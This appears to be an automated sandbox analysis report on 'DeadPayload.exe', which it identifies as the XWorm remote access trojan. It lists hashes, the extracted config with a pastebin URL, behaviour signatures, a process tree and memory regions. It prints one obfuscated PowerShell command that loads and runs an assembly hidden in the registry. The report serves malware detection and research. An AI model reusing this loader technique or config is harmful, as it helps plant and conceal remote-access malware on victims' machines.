Analysis

  • max time kernel
    150s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    31/10/2024, 03:27

General

  • Target

    DeadPayload.exe

  • Size

    500KB

  • MD5

    32a460b41d3309d8fd5512dce58357d9

  • SHA1

    b83e6686de15c57184ae8b8be80d0b5b323f3712

  • SHA256

    0287c741bae11fcfebf9f7d81b1f663379f531855ef381faecdc006ef689c25c

  • SHA512

    dc8e37a4aa54519b7578247b9a95b70a446667c15f799ba30dcf14a49858ed2dfa79287476532f62d7e6c44de372dd9035e5d881794c7266dab31c6955fd15e4

  • SSDEEP

    12288:f3DTkV1ilKya0FOUuQ0gH+kmtbF6W05EJXp107sd7:3kGTy

Malware Config

Extracted

Family

xworm

Version

5.0

Mutex

bbz3FQzIYGOJF400

Attributes
  • Install_directory

    %Public%

  • install_file

    ohh.exe

  • pastebin_url

    https://pastebin.com/raw/J09JweeH

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:428
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{6c6dc1d8-c8de-46c9-ac92-35d67c8d52eb}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2692
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:472
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:596
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              3⤵
                PID:1664
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k RPCSS
              2⤵
                PID:672
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
                2⤵
                • Modifies security service
                PID:756
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
                2⤵
                  PID:812
                  • C:\Windows\system32\Dwm.exe
                    "C:\Windows\system32\Dwm.exe"
                    3⤵
                      PID:1160
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:840
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {912D90F6-8C3A-4991-A213-11C5EA122625} S-1-5-18:NT AUTHORITY\System:Service:
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1964
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+'T'+'W'+'A'+'R'+''+[Char](69)+'').GetValue(''+'D'+''+[Char](101)+''+[Char](97)+''+'d'+'s'+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
                        4⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Command and Scripting Interpreter: PowerShell
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2072
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService
                    2⤵
                      PID:964
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkService
                      2⤵
                        PID:108
                      • C:\Windows\System32\spoolsv.exe
                        C:\Windows\System32\spoolsv.exe
                        2⤵
                          PID:344
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                          2⤵
                            PID:1064
                          • C:\Windows\system32\taskhost.exe
                            "taskhost.exe"
                            2⤵
                              PID:1108
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:1476
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:2860
                              • C:\Windows\system32\lsass.exe
                                C:\Windows\system32\lsass.exe
                                1⤵
                                  PID:488
                                • C:\Windows\system32\lsm.exe
                                  C:\Windows\system32\lsm.exe
                                  1⤵
                                    PID:496
                                  • C:\Windows\Explorer.EXE
                                    C:\Windows\Explorer.EXE
                                    1⤵
                                      PID:1204
                                      • C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe
                                        "C:\Users\Admin\AppData\Local\Temp\DeadPayload.exe"
                                        2⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:2872
                                        • C:\Users\Public\DeadMan.exe
                                          "C:\Users\Public\DeadMan.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1832
                                        • C:\Users\Public\DeadRoot.exe
                                          "C:\Users\Public\DeadRoot.exe"
                                          3⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:2128
                                    • C:\Windows\system32\conhost.exe
                                      \??\C:\Windows\system32\conhost.exe "1426204879-12045989041528601166-663992467725422111-1871024949-1871114557-774059290"
                                      1⤵
                                        PID:2916

                                      Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • C:\Users\Public\DeadMan.exe

                                              Filesize

                                              34KB

                                              MD5

                                              de5bb947d72f5167c12b02f85cb0ef32

                                              SHA1

                                              cb5b5b754e196ec3072816cb6e250d7dd703752b

                                              SHA256

                                              66f4ceed7b605df523601dc9a35ccf271be390f4c1d12772c6a047ea970081cd

                                              SHA512

                                              26763a5ffc87a77b7e25687d900d32baf67c9e45e51a970c683dc1499c37c52b83b5757c3929cf117af8c5fd494491e063fdf88be9609867bd98379d06e83c33

                                            • C:\Users\Public\DeadRoot.exe

                                              Filesize

                                              151KB

                                              MD5

                                              b8479a23c22cf6fc456e197939284069

                                              SHA1

                                              b2d98cc291f16192a46f363d007e012d45c63300

                                              SHA256

                                              18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

                                              SHA512

                                              786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

                                            • memory/428-33-0x0000000000440000-0x0000000000467000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/428-30-0x0000000000270000-0x0000000000292000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/428-32-0x0000000000270000-0x0000000000292000-memory.dmp

                                              Filesize

                                              136KB

                                            • memory/428-34-0x0000000000440000-0x0000000000467000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/428-40-0x0000000000440000-0x0000000000467000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/428-41-0x000007FEBDFA0000-0x000007FEBDFB0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/428-42-0x0000000037230000-0x0000000037240000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/472-55-0x000007FEBDFA0000-0x000007FEBDFB0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/472-48-0x0000000000130000-0x0000000000157000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/472-54-0x0000000000130000-0x0000000000157000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/472-56-0x0000000037230000-0x0000000037240000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/488-62-0x0000000000120000-0x0000000000147000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/488-68-0x0000000000120000-0x0000000000147000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/488-69-0x000007FEBDFA0000-0x000007FEBDFB0000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/488-70-0x0000000037230000-0x0000000037240000-memory.dmp

                                              Filesize

                                              64KB

                                            • memory/496-76-0x0000000000510000-0x0000000000537000-memory.dmp

                                              Filesize

                                              156KB

                                            • memory/1832-8-0x0000000000B00000-0x0000000000B0E000-memory.dmp

                                              Filesize

                                              56KB

                                            • memory/1832-182-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

                                              Filesize

                                              9.9MB

                                            • memory/1832-9-0x000007FEF57C0000-0x000007FEF61AC000-memory.dmp

                                              Filesize

                                              9.9MB

                                            • memory/2072-18-0x00000000770D0000-0x00000000771EF000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/2072-14-0x0000000019FB0000-0x000000001A292000-memory.dmp

                                              Filesize

                                              2.9MB

                                            • memory/2072-17-0x00000000771F0000-0x0000000077399000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/2072-16-0x0000000001490000-0x00000000014B8000-memory.dmp

                                              Filesize

                                              160KB

                                            • memory/2072-15-0x0000000000970000-0x0000000000978000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-24-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-25-0x00000000771F0000-0x0000000077399000-memory.dmp

                                              Filesize

                                              1.7MB

                                            • memory/2692-27-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-26-0x00000000770D0000-0x00000000771EF000-memory.dmp

                                              Filesize

                                              1.1MB

                                            • memory/2692-19-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-21-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2692-22-0x0000000140000000-0x0000000140008000-memory.dmp

                                              Filesize

                                              32KB

                                            • memory/2872-0-0x000007FEF57C3000-0x000007FEF57C4000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2872-1-0x00000000008F0000-0x0000000000974000-memory.dmp

                                              Filesize

                                              528KB